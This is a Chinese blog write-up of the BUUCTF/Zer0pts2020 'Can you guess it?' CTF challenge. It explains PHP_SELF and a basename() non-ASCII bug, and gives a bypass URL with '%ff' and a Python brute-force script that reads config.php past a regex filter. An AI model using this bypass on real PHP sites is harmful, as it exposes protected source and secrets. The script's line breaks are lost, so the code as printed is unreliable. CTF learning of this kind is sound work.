本文主要是介绍[BUUCTF][Zer0pts2020]Can you guess it?,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
文章目录
- 前置知识
- 一些学到的新函数与新变量
- 新变量属性-PHP_SELF
- 新php函数-basename
- basename broken with non-ASCII-chars
- WP部分
前置知识
一些学到的新函数与新变量
新变量属性-PHP_SELF
$_SERVER['PHP_SELF']
表示当前 php 文件相对于网站根目录的位置地址,与 document root 相关
下面是本地测试截图,也就是http://.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']
新php函数-basename
basename()
函数会返回路径中的文件名部分
假如路径是/index.php/config.php
浏览器的解析结果都是index.php
而basename会返回config.php
就算后面跟上多余的字符也会返回文件名部分
basename broken with non-ASCII-chars
下面是来自[官方网站](https://bugs.php.net/bug.php?id=62119)的英语描述
With the default locale setting “C”, basename() drops non-ASCII-chars
at the beginning of a filename.
var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php
简单来说basename()
函数存在一个问题,它会去掉文件名开头的非ASCII值
WP部分
这道题其实很简单,知道了上面的函数了以后,代码审计以后其实最主要的部分就是正则过滤了/config.php/*$/i
,我们只需要绕过它即可,道理也很简单
它是匹配尾部
因此我们只要构造xxxxx.node3.buuoj.cn/index.php/config.php/%ff?source
一方面,绕过了正则匹配
另一方面满足了isset
,从而获取到config.php
当然也可以用脚本试一试哪些字符不被过滤掉
import requests
import refor i in range(0,255):url ='xxxxx.node3.buuoj.cn/index.php/config.php/{}?source'.format(chr(i))print(url)r = requests.get(url)flag = re.findall("flag\{.*?\}", r.text)if flag:print(flag)break
这篇关于[BUUCTF][Zer0pts2020]Can you guess it?的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!